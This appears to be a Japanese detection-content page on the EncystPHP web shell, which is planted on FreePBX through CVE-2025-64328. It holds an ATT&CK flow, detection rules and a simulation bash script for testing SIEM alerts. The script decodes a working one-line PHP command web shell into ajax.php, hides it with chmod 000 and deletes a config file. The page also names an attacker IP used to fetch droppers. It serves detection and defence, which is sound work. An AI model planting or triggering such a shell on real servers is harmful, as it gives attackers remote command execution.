EncystPHP: 永続的な管理者妥協のための武器化されたFreePBX Webシェル
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
FortiGuard LabsはPHPウェブシェル「 EncystPHP 」が公開FreePBXインスタンスにおいて脆弱性を利用して展開されると報告しました CVE-2025-64328。このインプラントはリモートコマンドの実行を可能にし、特権ユーザーをプロビジョニングし、cronジョブとその後のドロッパーを通じてレイヤードパーシステンスを設定します。この活動はINJ3CTOR3クルーと関連があり、通信環境を狙ったものであると思われます。公開されたインジケータには悪意のあるIP、ドメイン、URL、および複数の敵対的なファイルパスが含まれます。
調査
調査員は初期アクセスをFreePBXエンドポイントマネージャでのポストオーセンティケーションコマンドインジェクションの欠陥に遡りました。成功したエクスプロイトの後、オペレーターは 45.234.176.202からドロッパーを引き出し、主要なPHPコンポーネントの権限を緩和し、データベースの資格情報を抽出し、ルートレベルのアカウントを作成し、攻撃者が制御するSSHキーを追加します。パーシステンスはcronエントリで強化され、これが追加のドロッパーを繰り返し取得し、アーティファクトを更新します。EncystPHPは合法的なFreePBXファイルを模倣し、ルーチントリアージ中の視認性を低下させるためにタイムスタンプを操作します。
緩和策
FreePBXエンドポイントマネージャをできるだけ早く CVE-2025-64328 (および関連する修正)をアドレスしてパッチを適用してください。無許可ウェブシェルファイルや疑わしいcronスケジュール、新たに作成された特権を持つローカルユーザーを探してください。既知の悪意のあるインフラストラクチャへの外向きHTTPをブロックし、ウェブ面のディレクトリとPHP資産に厳しく、最小特権の権限を適用してください。
対応策
検出後、影響を受けたPBXサーバーを隔離し、EncystPHPのアーティファクトを削除し、不正なcronジョブを消去し、ローカルアカウントとSSHキーをリセットします。ログと設定バックアップを確認して変更スコープを確認し、現在のセキュリティアップデートを適用してウェブインターフェースを強化します。二次的なドロッパーやパーシステンスメカニズムが残っていないことを確認した上で、通常の電話操作を復旧してください。
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>アクション</b> – <b>T1190 公開されているアプリケーションの悪用</b><br/>FreePBX エンドポイントマネージャー CVE-2025-64328 の悪用”] class initial_access action tool_wget[“<b>ツール</b> – <b>名前</b>: wget<br/><b>説明</b>: HTTP 経由でファイルをダウンロード”] class tool_wget tool process_shell[“<b>プロセス</b> – <b>T1059.004 コマンドおよびスクリプトインタープリタ: Unix シェル</b><br/>Base64 デコードされた bash スクリプト c、k.php、test.sh”] class process_shell process file_c[“<b>ファイル</b> – c(bash スクリプト)”] class file_c file file_kphp[“<b>ファイル</b> – k.php(PHP ドロッパー)”] class file_kphp file file_testsh[“<b>ファイル</b> – test.sh(bash スクリプト)”] class file_testsh file credential_access[“<b>アクション</b> – <b>T1003 オペレーティングシステムの資格情報ダンプ</b><br/>/etc/freepbx.conf からデータベース資格情報を取得”] class credential_access action file_freepbxconf[“<b>ファイル</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>アクション</b> – <b>T1068 特権昇格のための悪用</b>”] class priv_esc_exploit action account_create[“<b>アクション</b> – <b>T1136.001 アカウント作成: ローカルアカウント</b><br/>事前設定されたパスワードハッシュを持つ root レベルユーザー newfpbx を作成”] class account_create action persistence_webshell[“<b>アクション</b> – <b>T1505.003 サーバーソフトウェアコンポーネント: Web シェル</b><br/>EncystPHP を ajax.php および config.php に偽装して展開”] class persistence_webshell action file_ajaxphp[“<b>ファイル</b> – ajax.php(Web シェル)”] class file_ajaxphp file file_configphp[“<b>ファイル</b> – config.php(Web シェル)”] class file_configphp file persistence_cron[“<b>アクション</b> – <b>T1053.003 スケジュールされたタスク/ジョブ: Cron</b><br/>k.php を毎分ダウンロードして実行する cron ジョブをインストール”] class persistence_cron action defense_perm_mod[“<b>アクション</b> – <b>T1222.002 ファイルおよびディレクトリの権限変更: Linux</b><br/>ファイル権限を 000 に設定し、タイムスタンプを改ざん”] class defense_perm_mod action defense_masquerade[“<b>アクション</b> – <b>T1036.005 偽装</b><br/>正規に見える場所へシェルを配置”] class defense_masquerade action defense_indicator_removal[“<b>アクション</b> – <b>T1070.004 ファイル削除</b> および <b>T1070.006 タイムスタンプ改ざん</b><br/>ログ、cron エントリを削除し、ファイルのタイムスタンプを一致させる”] class defense_indicator_removal action lateral_movement_ssh[“<b>アクション</b> – <b>T1021.004 リモートサービス: SSH</b> および <b>T1098.004 SSH 認可キー</b><br/>攻撃者の公開鍵を authorized_keys に挿入”] class lateral_movement_ssh action command_and_control[“<b>アクション</b> – <b>T1105 侵入ツール転送</b> および <b>T1071.001 アプリケーションレイヤープロトコル: Web プロトコル</b><br/>wget を使用して 45.234.176.202 からドロッパーを取得”] class command_and_control action impact_hijack[“<b>アクション</b> – <b>T1496 リソースハイジャック</b><br/>PBX を使用して不正な外線通話を実行”] class impact_hijack action defense_impair[“<b>アクション</b> – <b>T1562.001 防御の妨害</b> および <b>T1548 昇格制御メカニズムの悪用</b><br/>エラーレポートを無効化し、管理者コンテキストでシステム変更を実施”] class defense_impair action %% Edges initial_access –>|使用| tool_wget tool_wget –>|ダウンロード| file_c tool_wget –>|ダウンロード| file_kphp tool_wget –>|ダウンロード| file_testsh initial_access –>|につながる| process_shell process_shell –>|実行| file_c process_shell –>|実行| file_kphp process_shell –>|実行| file_testsh process_shell –>|につながる| credential_access credential_access –>|読み取り| file_freepbxconf credential_access –>|有効化| priv_esc_exploit priv_esc_exploit –>|有効化| account_create account_create –>|有効化| persistence_webshell persistence_webshell –>|作成| file_ajaxphp persistence_webshell –>|作成| file_configphp persistence_webshell –>|有効化| persistence_cron persistence_cron –>|作成| file_kphp persistence_cron –>|使用| tool_wget persistence_cron –>|設定| defense_perm_mod defense_perm_mod –>|支援| defense_masquerade defense_masquerade –>|支援| defense_indicator_removal persistence_webshell –>|支援| lateral_movement_ssh lateral_movement_ssh –>|有効化| command_and_control command_and_control –>|提供| impact_hijack command_and_control –>|支援| defense_impair
攻撃フロー
検出
パーシステンスのための可能性のある新規アカウント [Linux] (via cmdline)
表示
Cronファイルが作成されました (via file_event)
表示
疑わしいフォルダへのダウンロード (via cmdline)
表示
SSH Known Hostsの可能性のある発見試行 [MacOS] (via cmdline)
表示
Base64エンコード文字列の可能な操作 (via cmdline)
表示
IOCs (DestinationIP) を検出するための:武器化されたウェブシェルEncystPHPを明かす 永続的なFreePBXウェブシェルを使用して長期的な管理者の妥協を可能にする
表示
IOCs (HashSha256) を検出するための:武器化されたウェブシェルEncystPHPを明かす 永続的なFreePBXウェブシェルを使用して長期的な管理者の妥協を可能にする
表示
IOCs (SourceIP) を検出するための:武器化されたウェブシェルEncystPHPを明かす 永続的なFreePBXウェブシェルを使用して長期的な管理者の妥協を可能にする
表示
k.phpとcドロッパーの持続的ダウンロードのためのCrontabエントリを検出 [Linuxプロセス作成]
表示
CVE-2025-64328によるEncystPHPウェブシェルの展開と持続性 [Linuxプロセス作成]
表示
FreePBXにおけるEncystPHPウェブシェル活動の検出 [Linuxファイルイベント]
表示
シミュレーション実行
前提条件: テレメトリ & ベースラインプリフライトチェックがパスしなければなりません。
根拠: このセクションは、検出ルールをトリガーするために意図された敵対技術(TTP)の正確な実行を詳述しています。コマンドとナラティブは特定されたTTPと直接的に一致し、検出ロジックによって期待される正確なテレメトリを生成する必要があります。
-
攻撃のナラティブとコマンド:
- EncystPHPウェブシェルをアップロードする – 攻撃者はBase64でエンコードされたPHPペイロードを作成し、HTTP POSTを介してFreePBXウェブUIに配信し、ファイル
ajax.phpを書き込む/var/www/html/admin/views/ajax.php. - 制限付き権限を設定する – 展開直後、攻撃者は
chmod 000 ajax.phpを実行して、通常のユーザーからのシェルを隠し、ウェブサーバーの特権アカウントの下で強制的に実行します (T1222.002)。 - 重要な設定を削除する – 検出を妨げ、マルウェアシェルでシステムがリロードされることを強制するために、攻撃者は
/etc/freepbx.confを削除します (T1070.004, T1562.001)。 - シェルをトリガーする – 新たに作成された
ajax.phpへの単純なHTTP GETによってペイロードが実行され、リバースシェルが確立されます (T1105, T1059.004)。
- EncystPHPウェブシェルをアップロードする – 攻撃者はBase64でエンコードされたPHPペイロードを作成し、HTTP POSTを介してFreePBXウェブUIに配信し、ファイル
-
回帰テストスクリプト: このスクリプトは制御されたテストディレクトリー(
/tmp/freepbx_test)でステップ1-3を再現し、実動システムには影響しません。# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
クリーンアップコマンド:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Test environment cleaned."